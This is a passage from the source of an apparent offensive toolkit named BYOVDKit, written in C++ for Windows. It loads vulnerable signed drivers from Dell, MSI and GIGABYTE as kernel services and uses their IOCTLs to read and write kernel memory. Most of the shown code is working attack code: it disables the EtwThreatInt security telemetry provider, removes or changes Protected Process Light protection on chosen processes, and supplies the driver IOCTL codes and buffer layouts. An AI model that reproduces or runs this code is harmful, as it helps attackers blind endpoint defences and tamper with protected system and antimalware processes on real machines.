EtwProvRegHandle, GUIDRegEntryAddress; 10 | Read64(GetKernelBaseAddress() + GetOffsets().EtwThreatIntProvRegHandleOffset, &EtwProvRegHandle); 11 | //assume offset of GUID entry = 0x20 12 | Read64(EtwProvRegHandle + 0x20, &GUIDRegEntryAddress); 13 | DWORD option = Enable ? 0x1 : 0x0; 14 | //assume offset of provider enable info = 0x60 15 | Write8(GUIDRegEntryAddress + 0x60, option); 16 | printf("Attempt to %s EtwTi\n", Enable ? "enable" : "disable"); 17 | } 18 | 19 | 20 | void ReadEtwTi() { 21 | DWORD64 EtwProvRegHandle, GUIDRegEntryAddress; 22 | Read64(GetKernelBaseAddress() + GetOffsets().EtwThreatIntProvRegHandleOffset, &EtwProvRegHandle); 23 | //assume offset of GUID entry = 0x20 24 | Read64(EtwProvRegHandle + 0x20, &GUIDRegEntryAddress); 25 | //assume offset of provider enable info = 0x60 26 | BYTE option; 27 | Read8(GUIDRegEntryAddress + 0x60, &option); 28 | printf("EtwTi currect value: 0x%x\n", option); 29 | } -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DisableEtwTi.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void SetEtwTi(BOOL Enable); 4 | void ReadEtwTi(); -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DisablePPL.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "DriverOps.h" 5 | #include "FindOffset.h" 6 | #include "DisablePPL.h" 7 | 8 | UCHAR GetProtectionLevel(UCHAR Protection) 9 | { 10 | return Protection & 0x07; 11 | } 12 | 13 | UCHAR GetProtection(UCHAR ProtectionLevel, UCHAR SignerType) 14 | { 15 | return ((UCHAR)SignerType << 4) | (UCHAR)ProtectionLevel; 16 | } 17 | 18 | LPCWSTR GetProtectionLevelAsString(UCHAR ProtectionLevel) 19 | { 20 | switch (ProtectionLevel) 21 | { 22 | case PsProtectedTypeNone: 23 | return L"None"; 24 | case PsProtectedTypeProtectedLight: 25 | return L"PPL"; 26 | case PsProtectedTypeProtected: 27 | return L"PP"; 28 | } 29 | 30 | return L"Unknown"; 31 | } 32 | 33 | LPCWSTR GetSignerTypeAsString(UCHAR SignerType) 34 | { 35 | switch (SignerType) 36 | { 37 | case PsProtectedSignerNone: 38 | return L"None"; 39 | case PsProtectedSignerAuthenticode: 40 | return L"Authenticode"; 41 | case PsProtectedSignerCodeGen: 42 | return L"CodeGen"; 43 | case PsProtectedSignerAntimalware: 44 | return L"Antimalware"; 45 | case PsProtectedSignerLsa: 46 | return L"Lsa"; 47 | case PsProtectedSignerWindows: 48 | return L"Windows"; 49 | case PsProtectedSignerWinTcb: 50 | return L"WinTcb"; 51 | case PsProtectedSignerWinSystem: 52 | return L"WinSystem"; 53 | case PsProtectedSignerApp: 54 | return L"App"; 55 | } 56 | 57 | return L"Unknown"; 58 | } 59 | 60 | 61 | LPCWSTR GetSignatureLevelAsString(UCHAR SignatureLevel) 62 | { 63 | UCHAR bSignatureLevel; 64 | 65 | bSignatureLevel = SignatureLevel & 0x0f; // Remove additional flags 66 | 67 | switch (bSignatureLevel) 68 | { 69 | case SE_SIGNING_LEVEL_UNCHECKED: 70 | return L"Unchecked"; 71 | case SE_SIGNING_LEVEL_UNSIGNED: 72 | return L"Unsigned"; 73 | case SE_SIGNING_LEVEL_ENTERPRISE: 74 | return L"Enterprise"; 75 | case SE_SIGNING_LEVEL_DEVELOPER: 76 | return L"Developer"; 77 | case SE_SIGNING_LEVEL_AUTHENTICODE: 78 | return L"Authenticode"; 79 | case SE_SIGNING_LEVEL_CUSTOM_2: 80 | return L"Custom2"; 81 | case SE_SIGNING_LEVEL_STORE: 82 | return L"Store"; 83 | case SE_SIGNING_LEVEL_ANTIMALWARE: 84 | return L"Antimalware"; 85 | case SE_SIGNING_LEVEL_MICROSOFT: 86 | return L"Microsoft"; 87 | case SE_SIGNING_LEVEL_CUSTOM_4: 88 | return L"Custom4"; 89 | case SE_SIGNING_LEVEL_CUSTOM_5: 90 | return L"Custom5"; 91 | case SE_SIGNING_LEVEL_DYNAMIC_CODEGEN: 92 | return L"DynamicCodegen"; 93 | case SE_SIGNING_LEVEL_WINDOWS: 94 | return L"Windows"; 95 | case SE_SIGNING_LEVEL_CUSTOM_7: 96 | return L"Custom7"; 97 | case SE_SIGNING_LEVEL_WINDOWS_TCB: 98 | return L"WindowsTcb"; 99 | case SE_SIGNING_LEVEL_CUSTOM_6: 100 | return L"Custom6"; 101 | } 102 | 103 | printf("Failed to retrieve the Signature level associated to the value 0x%02x\n", SignatureLevel); 104 | 105 | return L"Unknown"; 106 | } 107 | 108 | UCHAR GetSignerType(UCHAR Protection) 109 | { 110 | return (Protection & 0xf0) >> 4; 111 | } 112 | 113 | UCHAR GetProtectionLevelFromString(LPCWSTR ProtectionLevel) 114 | { 115 | if (ProtectionLevel) 116 | { 117 | if (!_wcsicmp(ProtectionLevel, L"PP")) 118 | return PsProtectedTypeProtected; 119 | else if (!_wcsicmp(ProtectionLevel, L"PPL")) 120 | return PsProtectedTypeProtectedLight; 121 | } 122 | 123 | printf("Failed to retrieve the value of the Protection level '%ws'\n", ProtectionLevel); 124 | 125 | return 0; 126 | } 127 | 128 | 129 | UCHAR GetSignatureLevel(UCHAR SignerType) 130 | { 131 | // https://www.alex-ionescu.com/?p=146 132 | switch (SignerType) 133 | { 134 | case PsProtectedSignerNone: 135 | return SE_SIGNING_LEVEL_UNCHECKED; 136 | case PsProtectedSignerAuthenticode: 137 | return SE_SIGNING_LEVEL_AUTHENTICODE; 138 | case PsProtectedSignerCodeGen: 139 | return SE_SIGNING_LEVEL_DYNAMIC_CODEGEN; 140 | case PsProtectedSignerAntimalware: 141 | return SE_SIGNING_LEVEL_ANTIMALWARE; 142 | case PsProtectedSignerLsa: 143 | return SE_SIGNING_LEVEL_WINDOWS; 144 | case PsProtectedSignerWindows: 145 | return SE_SIGNING_LEVEL_WINDOWS; 146 | case PsProtectedSignerWinTcb: 147 | return SE_SIGNING_LEVEL_WINDOWS_TCB; 148 | } 149 | 150 | printf("Failed to retrieve the Signature level associated to the Signer type value %d\n", SignerType); 151 | 152 | return 0xff; 153 | } 154 | 155 | UCHAR GetSignerTypeFromString(LPCWSTR SignerType) 156 | { 157 | if (SignerType) 158 | { 159 | if (!_wcsicmp(SignerType, L"Authenticode")) 160 | return PsProtectedSignerAuthenticode; 161 | else if (!_wcsicmp(SignerType, L"CodeGen")) 162 | return PsProtectedSignerCodeGen; 163 | else if (!_wcsicmp(SignerType, L"Antimalware")) 164 | return PsProtectedSignerAntimalware; 165 | else if (!_wcsicmp(SignerType, L"Lsa")) 166 | return PsProtectedSignerLsa; 167 | else if (!_wcsicmp(SignerType, L"Windows")) 168 | return PsProtectedSignerWindows; 169 | else if (!_wcsicmp(SignerType, L"WinTcb")) 170 | return PsProtectedSignerWinTcb; 171 | else if (!_wcsicmp(SignerType, L"WinSystem")) 172 | return PsProtectedSignerWinSystem; 173 | else if (!_wcsicmp(SignerType, L"App")) 174 | return PsProtectedSignerApp; 175 | } 176 | 177 | printf("Failed to retrieve the value of the Signer type '%ws'\n", SignerType); 178 | 179 | return 0; 180 | } 181 | 182 | BOOL GetProcessProtectionFromAddress(ULONG_PTR Addr, PUCHAR Protection) 183 | { 184 | UCHAR bProtection; 185 | 186 | if(!Read8(Addr + GetOffsets().ProtectionOffset, &bProtection)) 187 | { 188 | #ifdef _WIN64 189 | printf("Failed to retrieve Protection attribute of process @ 0x%016llx\n", Addr); 190 | #else 191 | printf("Failed to retrieve Protection attribute of process @ 0x%08x\n", Addr); 192 | #endif 193 | return FALSE; 194 | } 195 | 196 | *Protection = bProtection; 197 | 198 | return TRUE; 199 | } 200 | 201 | 202 | BOOL GetProcessSignatureLevelFromAddress(ULONG_PTR Addr, PUCHAR SignatureLevel) 203 | { 204 | 205 | UCHAR bSignatureLevel; 206 | 207 | if(!Read8(Addr + GetOffsets().SignatureLevelOffset, &bSignatureLevel)) 208 | { 209 | #ifdef _WIN64 210 | printf("Failed to retrieve SignatureLevel attribute of process @ 0x%016llx\n", Addr); 211 | #else 212 | printf("Failed to retrieve SignatureLevel attribute of process @ 0x%08x\n", Addr); 213 | #endif 214 | return FALSE; 215 | } 216 | *SignatureLevel = bSignatureLevel; 217 | 218 | return TRUE; 219 | } 220 | 221 | 222 | BOOL GetProcessProtection(DWORD Pid) 223 | { 224 | ULONG_PTR pProcess; 225 | UCHAR bProtection; 226 | UCHAR bProtectionLevel, bSignerType; 227 | 228 | if (!GetProcessKernelAddress(Pid, &pProcess)) 229 | return FALSE; 230 | 231 | if (!GetProcessProtectionFromAddress(pProcess, &bProtection)) 232 | return FALSE; 233 | 234 | if (bProtection > 0) 235 | { 236 | bProtectionLevel = GetProtectionLevel(bProtection); 237 | bSignerType = GetSignerType(bProtection); 238 | 239 | printf("The process with PID %d is a %ws with the Signer type '%ws' (%d)\n", 240 | Pid, 241 | GetProtectionLevelAsString(bProtectionLevel), 242 | GetSignerTypeAsString(bSignerType), 243 | bSignerType 244 | ); 245 | } 246 | else 247 | { 248 | printf("The process with PID %d is not protected\n", Pid); 249 | } 250 | 251 | return TRUE; 252 | } 253 | 254 | 255 | BOOL SetProcessProtection(DWORD Pid, LPCWSTR ProtectionLevel, LPCWSTR SignerType) 256 | { 257 | ULONG_PTR pProcess; 258 | UCHAR bProtectionOld, bProtectionNew, bProtectionEffective; 259 | UCHAR bProtectionLevel, bSignerType; 260 | 261 | if (!(bProtectionLevel = GetProtectionLevelFromString(ProtectionLevel))) 262 | return FALSE; 263 | 264 | if (!(bSignerType = GetSignerTypeFromString(SignerType))) 265 | return FALSE; 266 | 267 | bProtectionNew = GetProtection(bProtectionLevel, bSignerType); 268 | 269 | if (!GetProcessKernelAddress(Pid, &pProcess)) 270 | return FALSE; 271 | 272 | if (!GetProcessProtectionFromAddress(pProcess, &bProtectionOld)) 273 | return FALSE; 274 | 275 | if (bProtectionOld == bProtectionNew) 276 | { 277 | printf("The process with PID %d already has the protection '%ws-%ws'\n", 278 | Pid, 279 | GetProtectionLevelAsString(GetProtectionLevel(bProtectionOld)), 280 | GetSignerTypeAsString(GetSignerType(bProtectionOld)) 281 | ); 282 | 283 | return FALSE; 284 | } 285 | 286 | if (!SetProcessProtectionFromAddress(pProcess, bProtectionNew)) 287 | { 288 | printf("Failed to set Protection '%ws-%ws' on process with PID %d\n", 289 | GetProtectionLevelAsString(bProtectionLevel), 290 | GetSignerTypeAsString(bSignerType), 291 | Pid 292 | ); 293 | 294 | return FALSE; 295 | } 296 | 297 | if (!GetProcessProtectionFromAddress(pProcess, &bProtectionEffective)) 298 | return FALSE; 299 | 300 | if (bProtectionNew != bProtectionEffective) 301 | { 302 | printf("Tried to set the protection '%ws-%ws', but the effective protection is: '%ws-%ws'\n", 303 | GetProtectionLevelAsString(bProtectionLevel), 304 | GetSignerTypeAsString(bSignerType), 305 | GetProtectionLevelAsString(GetProtectionLevel(bProtectionEffective)), 306 | GetSignerTypeAsString(GetSignerType(bProtectionEffective)) 307 | ); 308 | 309 | return FALSE; 310 | } 311 | 312 | printf("The Protection '%ws-%ws' was set on the process with PID %d, previous protection was: '%ws-%ws'\n", 313 | GetProtectionLevelAsString(bProtectionLevel), 314 | GetSignerTypeAsString(bSignerType), 315 | Pid, 316 | GetProtectionLevelAsString(GetProtectionLevel(bProtectionOld)), 317 | GetSignerTypeAsString(GetSignerType(bProtectionOld)) 318 | ); 319 | 320 | return TRUE; 321 | } 322 | 323 | BOOL UnprotectProcess(DWORD Pid) 324 | { 325 | ULONG_PTR pProcess; 326 | UCHAR bProtection; 327 | 328 | if (!GetProcessKernelAddress(Pid, &pProcess)) 329 | return FALSE; 330 | 331 | if (!GetProcessProtectionFromAddress(pProcess, &bProtection)) 332 | return FALSE; 333 | 334 | if (bProtection == 0) 335 | { 336 | printf("The process with PID %d is not protected, nothing to unprotect\n", Pid); 337 | return FALSE; 338 | } 339 | 340 | if (!SetProcessProtectionFromAddress(pProcess, 0)) 341 | { 342 | printf("Failed to set Protection level 'None' and Signer type 'None' on process with PID %d\n", Pid); 343 | return FALSE; 344 | } 345 | 346 | if (!GetProcessProtectionFromAddress(pProcess, &bProtection)) 347 | return FALSE; 348 | 349 | if (bProtection != 0) 350 | { 351 | printf("The process with PID %d still appears to be protected\n", Pid); 352 | return FALSE; 353 | } 354 | 355 | printf("The process with PID %d is no longer a PP(L)\n", Pid); 356 | 357 | return TRUE; 358 | } 359 | 360 | BOOL SetProcessProtectionFromAddress(ULONG_PTR Addr, UCHAR Protection) 361 | { 362 | return Write8(Addr + GetOffsets().ProtectionOffset, Protection); 363 | } 364 | 365 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DisablePPL.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | BOOL GetProcessProtectionFromAddress(ULONG_PTR Addr, PUCHAR Protection); 4 | BOOL GetProcessSignatureLevelFromAddress(ULONG_PTR Addr, PUCHAR SignatureLevel); 5 | //BOOL GetProcessSectionSignatureLevelFromAddress(ULONG_PTR Addr, PUCHAR SectionSignatureLevel); 6 | UCHAR GetProtectionLevel(UCHAR Protection); 7 | UCHAR GetSignerType(UCHAR Protection); 8 | BOOL GetProcessProtection(DWORD Pid); 9 | 10 | BOOL SetProcessProtectionFromAddress(ULONG_PTR Addr, UCHAR Protection); 11 | BOOL SetProcessProtection(DWORD Pid, LPCWSTR ProtectionLevel, LPCWSTR SignerType); 12 | BOOL UnprotectProcess(DWORD Pid); 13 | 14 | 15 | typedef enum _PS_PROTECTED_TYPE 16 | { 17 | PsProtectedTypeNone = 0, 18 | PsProtectedTypeProtectedLight = 1, 19 | PsProtectedTypeProtected = 2 20 | } PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE; 21 | 22 | typedef enum _PS_PROTECTED_SIGNER 23 | { 24 | PsProtectedSignerNone = 0, // 0 25 | PsProtectedSignerAuthenticode, // 1 26 | PsProtectedSignerCodeGen, // 2 27 | PsProtectedSignerAntimalware, // 3 28 | PsProtectedSignerLsa, // 4 29 | PsProtectedSignerWindows, // 5 30 | PsProtectedSignerWinTcb, // 6 31 | PsProtectedSignerWinSystem, // 7 32 | PsProtectedSignerApp, // 8 33 | PsProtectedSignerMax // 9 34 | } PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER; -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DriverOps.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "DriverOps.h" 6 | #include "DisableDSE.h" 7 | 8 | 9 | HANDLE Device; 10 | DRIVER_OPTION device_option; 11 | 12 | 13 | 14 | DEFINE_DRIVER GetDefineDriver(DRIVER_OPTION device_option) { 15 | 16 | DEFINE_DRIVER defineDriver; 17 | 18 | switch (device_option) { 19 | case DBUtil_2_3: 20 | defineDriver.serviceName = L"DBUtil_2_3"; 21 | defineDriver.displayName = L"Dell Dbutil Service"; 22 | defineDriver.driverPath = L"\\\\.\\DBUtil_2_3"; 23 | break; 24 | case RTCore64: 25 | defineDriver.serviceName = L"RTCore64"; 26 | defineDriver.displayName = L"Micro - Star MSI Afterburner"; 27 | defineDriver.driverPath = L"\\\\.\\RTCore64"; 28 | break; 29 | case GIO: 30 | defineDriver.serviceName = L"GIO"; 31 | defineDriver.displayName = L"GIGABYTE Service"; 32 | defineDriver.driverPath = L"\\\\.\\GIO"; 33 | break; 34 | } 35 | 36 | return defineDriver; 37 | 38 | } 39 | 40 | 41 | bool ServiceInstall(DRIVER_OPTION device_option, PCWSTR binPath, PCWSTR serviceName) { 42 | BOOL status = FALSE; 43 | SC_HANDLE hSC = NULL, hS = NULL; 44 | PCWSTR displayName = L""; 45 | 46 | 47 | if (serviceName == NULL && device_option == undefined) { 48 | printf("device option or service name was not provided"); 49 | return false; 50 | } 51 | if (serviceName == NULL && device_option != undefined) { 52 | serviceName = GetDefineDriver(device_option).serviceName; 53 | displayName = GetDefineDriver(device_option).displayName; 54 | } 55 | 56 | 57 | 58 | if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) { 59 | if (hS = OpenService(hSC, serviceName, SERVICE_START)) { 60 | wprintf(L"\'%s\' service already registered\n", serviceName); 61 | } 62 | else { 63 | if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { 64 | wprintf(L"\'%s\' service not present\n", serviceName); 65 | if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) { 66 | wprintf(L"\'%s\' service successfully registered\n", serviceName); 67 | } 68 | else { 69 | printf("CreateService failed with the error code 0x%08x\n", GetLastError()); 70 | return false; 71 | } 72 | } 73 | else { 74 | printf("OpenService failed with the error code 0x%08x\n", GetLastError()); 75 | return false; 76 | } 77 | } 78 | if (hS) { 79 | if (status = StartService(hS, 0, NULL)) 80 | wprintf(L"\'%s\' service started\n", serviceName); 81 | else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) 82 | wprintf(L"\'%s\' service already started\n", serviceName); 83 | else { 84 | printf("StartService failed with the error code 0x%08x\n", GetLastError()); 85 | return false; 86 | } 87 | CloseServiceHandle(hS); 88 | } 89 | CloseServiceHandle(hSC); 90 | } 91 | else { 92 | printf("OpenSCManager failed with the error code 0x%08x\n", GetLastError()); 93 | return false; 94 | } 95 | return true; 96 | } 97 | 98 | bool ServiceUninstall(DRIVER_OPTION device_option, PCWSTR serviceName) { 99 | 100 | BOOL status = false; 101 | SC_HANDLE hSC, hS; 102 | SERVICE_STATUS serviceStatus; 103 | 104 | if (serviceName == NULL && device_option == undefined) { 105 | printf("device option or service name was not provided"); 106 | return false; 107 | } 108 | if (serviceName == NULL && device_option != undefined) { 109 | serviceName = GetDefineDriver(device_option).serviceName; 110 | } 111 | 112 | 113 | if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) { 114 | if (hS = OpenService(hSC, serviceName, SERVICE_STOP)) { 115 | status = ControlService(hS, SERVICE_CONTROL_STOP, &serviceStatus); 116 | CloseServiceHandle(hS); 117 | } 118 | CloseServiceHandle(hSC); 119 | } 120 | if (status) { 121 | wprintf(L"\'%s\' service stopped\n", serviceName); 122 | } 123 | else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) { 124 | wprintf(L"\'%s\' service not running\n", serviceName); 125 | } 126 | else { 127 | printf("OpenSCManager failed with the error code 0x%08x\n", GetLastError()); 128 | return false; 129 | } 130 | 131 | if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) { 132 | if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) { 133 | BOOL status = DeleteService(hS); 134 | CloseServiceHandle(hS); 135 | } 136 | CloseServiceHandle(hSC); 137 | } 138 | return true; 139 | } 140 | 141 | bool InitDriver(DRIVER_OPTION dev_opt) { 142 | 143 | device_option = dev_opt; 144 | PCWSTR driverPath = GetDefineDriver(device_option).driverPath; 145 | 146 | Device = CreateFileW(driverPath, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); 147 | 148 | if (Device == INVALID_HANDLE_VALUE) { 149 | return false; 150 | } 151 | 152 | return true; 153 | } 154 | 155 | void CloseDriverHandle() { 156 | CloseHandle(Device); 157 | } 158 | 159 | DWORD ReadPrimitive_DBUtil_2_3(DWORD64 Address) { 160 | DBUTIL_READ_BUFFER ReadBuff{}; 161 | ReadBuff.Address = Address; 162 | DWORD BytesRead; 163 | if (!DeviceIoControl(Device, DBUTIL_READ_IOCTL, &ReadBuff, sizeof(ReadBuff), &ReadBuff, sizeof(ReadBuff), &BytesRead, nullptr)) { 164 | printf("DeviceIoControl DBUTIL_READ_IOCTL failed with the error code 0x%08x\n", GetLastError()); 165 | exit(1); 166 | } 167 | return ReadBuff.value; 168 | } 169 | 170 | void WritePrimitive_DBUtil_2_3(DWORD64 Address, DWORD Value) { 171 | DBUTIL_WRITE_BUFFER WriteBuff{}; 172 | WriteBuff.Address = Address; 173 | WriteBuff.Value = Value; 174 | DWORD BytesWritten = 0; 175 | if (!DeviceIoControl(Device, DBUTIL_WRITE_IOCTL, &WriteBuff, sizeof(WriteBuff), &WriteBuff, sizeof(WriteBuff), &BytesWritten, nullptr)) { 176 | printf("DeviceIoControl DBUTIL_WRITE_IOCTL failed with the error code 0x%08x\n", GetLastError()); 177 | exit(1); 178 | } 179 | } 180 | 181 | DWORD ReadPrimitive_RTCore64(DWORD64 Address) { 182 | RTC_MEMORY_READ mr; 183 | DWORD value; 184 | ZeroMemory(&mr, sizeof(mr)); 185 | mr.Address = Address; 186 | mr.Size = sizeof(value); 187 | 188 | if (!DeviceIoControl(Device, RTC_IOCTL_MEMORY_READ, &mr, sizeof(mr), &mr, sizeof(mr), NULL, NULL)) { 189 | printf("DeviceIoControl RTC_IOCTL_MEMORY_READ failed with the error code 0x%08x\n", GetLastError()); 190 | exit(1); 191 | } 192 | return mr.Value; 193 | } 194 | 195 | void WritePrimitive_RTCore64(DWORD64 Address, DWORD Value) { 196 | RTC_MEMORY_WRITE mw; 197 | 198 | ZeroMemory(&mw, sizeof(mw)); 199 | mw.Address = Address; 200 | mw.Size = sizeof(Value); 201 | mw.Value = Value; 202 | 203 | if (!DeviceIoControl(Device, RTC_IOCTL_MEMORY_WRITE, &mw, sizeof(mw), &mw, sizeof(mw), NULL, NULL)) { 204 | printf("DeviceIoControl RTC_IOCTL_MEMORY_WRITE failed with the error code 0x%08x", GetLastError()); 205 | exit(1); 206 | } 207 | } 208 | 209 | 210 | DWORD MemcpyReadPrimitive_GIO(DWORD64 Address) { 211 | GIOMemcpyInput MemcpyInput; 212 | ULONG OldValue = 0; 213 | MemcpyInput.Dst = reinterpret_cast(&OldValue); 214 | MemcpyInput.Src = Address; 215 | MemcpyInput.Size = GetBuildNumber() >= 9200 ? sizeof(ULONG) : sizeof(UCHAR); 216 | 217 | if (!DeviceIoControl(Device, IOCTL_GIO_MEMCPY, &MemcpyInput, sizeof(MemcpyInput), &MemcpyInput, sizeof(MemcpyInput), NULL, NULL)) { 218 | printf("DeviceIoControl IOCTL_GIO_MEMCPY failed with the error code 0x%08x", GetLastError()); 219 | exit(1); 220 | } 221 | 222 | 223 | return OldValue; 224 | } 225 | 226 | void MemcpyWritePrimitive_GIO(DWORD64 Address, ULONG Value) { 227 | GIOMemcpyInput MemcpyInput; 228 | const UCHAR Value2 = static_cast(Value); 229 | 230 | MemcpyInput.Dst = Address; 231 | MemcpyInput.Src = reinterpret_cast(&Value2); 232 | MemcpyInput.Size = GetBuildNumber() >= 9200 ? sizeof(ULONG) : sizeof(UCHAR); 233 | 234 | 235 | if (!DeviceIoControl(Device, IOCTL_GIO_MEMCPY, &MemcpyInput, sizeof(MemcpyInput), &MemcpyInput, sizeof(MemcpyInput), NULL, NULL)) { 236 | printf("DeviceIoControl IOCTL_GIO_MEMCPY failed with the error code 0x%08x", GetLastError()); 237 | exit(1); 238 | } 239 | } 240 | 241 | 242 | 243 | DWORD ReadPrimitive(DWORD64 Address) { 244 | 245 | switch (device_option) { 246 | case DBUtil_2_3: 247 | return ReadPrimitive_DBUtil_2_3(Address); 248 | case RTCore64: 249 | return ReadPrimitive_RTCore64(Address); 250 | case GIO: 251 | return MemcpyReadPrimitive_GIO(Address); 252 | } 253 | } 254 | 255 | void WritePrimitive(DWORD64 Address, DWORD Value) { 256 | 257 | switch (device_option) { 258 | case DBUtil_2_3: 259 | WritePrimitive_DBUtil_2_3(Address, Value); 260 | return; 261 | case RTCore64: 262 | WritePrimitive_RTCore64(Address, Value); 263 | return; 264 | case GIO: 265 | MemcpyWritePrimitive_GIO(Address, Value); 266 | return; 267 | } 268 | 269 | } 270 | 271 | BOOL Read8(ULONG_PTR Address, PBYTE Value) 272 | { 273 | DWORD dwValue; 274 | 275 | if (!Read32(Address, &dwValue)) 276 | return false; 277 | 278 | *Value = dwValue & 0xff; 279 | 280 | return true; 281 | } 282 | 283 | BOOL Read16(ULONG_PTR Address, PWORD Value) 284 | { 285 | DWORD dwValue; 286 | 287 | if (!Read32(Address, &dwValue)) 288 | return false; 289 | 290 | *Value = dwValue & 0xffff; 291 | 292 | return true; 293 | } 294 | 295 | BOOL Read32(ULONG_PTR Address, PDWORD Value) 296 | { 297 | DWORD temp = ReadPrimitive(Address); 298 | 299 | *Value = temp; 300 | 301 | return true; 302 | } 303 | 304 | BOOL Read64(ULONG_PTR Address, PDWORD64 Value) 305 | { 306 | DWORD dwLow, dwHigh; 307 | 308 | if (!Read32(Address, &dwLow) || !Read32(Address + 4, &dwHigh)) 309 | return false; 310 | 311 | *Value = dwHigh; 312 | *Value = (*Value << 32) | dwLow; 313 | 314 | return true; 315 | } 316 | 317 | BOOL ReadPtr(ULONG_PTR Address, PULONG_PTR Value) 318 | { 319 | #ifdef _WIN64 320 | return Read64(Address, Value); 321 | #else 322 | return Read32(Address, Value); 323 | #endif 324 | } 325 | 326 | 327 | BOOL Write8(ULONG_PTR Address, BYTE Value) 328 | { 329 | WritePrimitive(Address, Value); 330 | return true; 331 | } 332 | 333 | BOOL Write16(ULONG_PTR Address, WORD Value) 334 | { 335 | WritePrimitive(Address, Value); 336 | return true; 337 | } 338 | 339 | BOOL Write32(ULONG_PTR Address, DWORD Value) 340 | { 341 | WritePrimitive(Address, Value); 342 | return true; 343 | } 344 | 345 | BOOL Write64(ULONG_PTR Address, DWORD64 Value) 346 | { 347 | DWORD dwLow, dwHigh; 348 | 349 | dwLow = Value & 0xffffffff; 350 | dwHigh = (Value >> 32) & 0xffffffff; 351 | 352 | return Write32(Address, dwLow) && Write32(Address + 4, dwHigh); 353 | } -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DriverOps.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | 8 | typedef enum DRIVER_OPTION{ 9 | undefined = 0, 10 | DBUtil_2_3 = 1, 11 | RTCore64 = 2, 12 | GIO = 3 13 | }; 14 | 15 | struct DEFINE_DRIVER { 16 | PCWSTR serviceName; 17 | PCWSTR displayName; 18 | PCWSTR driverPath; 19 | }; 20 | 21 | //DBUtil_2_3 22 | static const DWORD DBUTIL_READ_IOCTL = 0x9B0C1EC4; 23 | static const DWORD DBUTIL_WRITE_IOCTL = 0x9B0C1EC8; 24 | struct DBUTIL_READ_BUFFER { 25 | unsigned long long pad1 = 0x4141414141414141; 26 | unsigned long long Address; 27 | unsigned long long three1 = 0x0000000000000000; 28 | unsigned long long value = 0x0000000000000000; 29 | }; 30 | struct DBUTIL_WRITE_BUFFER { 31 | unsigned long long pad1 = 0x4141414141414141; 32 | unsigned long long Address; 33 | unsigned long long three1 = 0x0000000000000000; 34 | unsigned long long Value = 0x0000000000000000; 35 | }; 36 | 37 | //RTCore64 38 | #define RTC_MEMORY_READ RTC64_MEMORY_READ 39 | struct RTC64_MEMORY_READ { 40 | BYTE Pad0[8]; 41 | DWORD64 Address; 42 | BYTE Pad1[8]; 43 | DWORD Size; 44 | DWORD Value; 45 | BYTE Pad3[16]; 46 | }; 47 | #define RTC_MEMORY_WRITE RTC64_MEMORY_WRITE 48 | struct RTC64_MEMORY_WRITE { 49 | BYTE Pad0[8]; 50 | DWORD64 Address; 51 | BYTE Pad1[8]; 52 | DWORD Size; 53 | DWORD Value; 54 | BYTE Pad3[16]; 55 | }; 56 | #define RTC64_IOCTL_MEMORY_READ 0x80002048 57 | #define RTC64_IOCTL_MEMORY_WRITE 0x8000204c 58 | #define RTC_IOCTL_MEMORY_READ RTC64_IOCTL_MEMORY_READ 59 | #define RTC_IOCTL_MEMORY_WRITE RTC64_IOCTL_MEMORY_WRITE 60 | 61 | 62 | 63 | // GIO 64 | typedef struct _GIOMemcpyInput 65 | { 66 | ULONG_PTR Dst; 67 | ULONG_PTR Src; 68 | ULONG Size; 69 | } GIOMemcpyInput, * PGIOMemcpyInput; 70 | #define FILE_DEVICE_GIO (0xc350) 71 | #define IOCTL_GIO_MEMCPY CTL_CODE(FILE_DEVICE_GIO, 0xa02, METHOD_BUFFERED, FILE_ANY_ACCESS) 72 | 73 | 74 | bool ServiceInstall(DRIVER_OPTION device_option, PCWSTR binPath, PCWSTR serviceName = NULL); 75 | bool ServiceUninstall(DRIVER_OPTION device_option, PCWSTR serviceName = NULL); 76 | bool InitDriver(DRIVER_OPTION dev_opt); 77 | void CloseDriverHandle(); 78 | BOOL Read8(ULONG_PTR Address, PBYTE Value); 79 | BOOL Read16(ULONG_PTR Address, PWORD Value); 80 | BOOL Read32(ULONG_PTR Address, PDWORD Value); 81 | BOOL Read64(ULONG_PTR Address, PDWORD64 Value); 82 | BOOL ReadPtr(ULONG_PTR Address, PULONG_PTR Value); 83 | BOOL Write8(ULONG_PTR Address, BYTE Value); 84 | BOOL Write16(ULONG_PTR Address, WORD Value); 85 | BOOL Write32(ULONG_PTR Address, DWORD Value); 86 | BOOL Write64(ULONG_PTR Address, DWORD64 Value); 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/FindOffset.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "DriverOps.h" 7 | #include "FindOffset.h" 8 | #include "DisablePPL.h" 9 | 10 | Offsets offsets; 11 | HMODULE _KernelModule; 12 | 13 | WORD FindProcessUniqueProcessIdOffset() 14 | { 15 | FARPROC 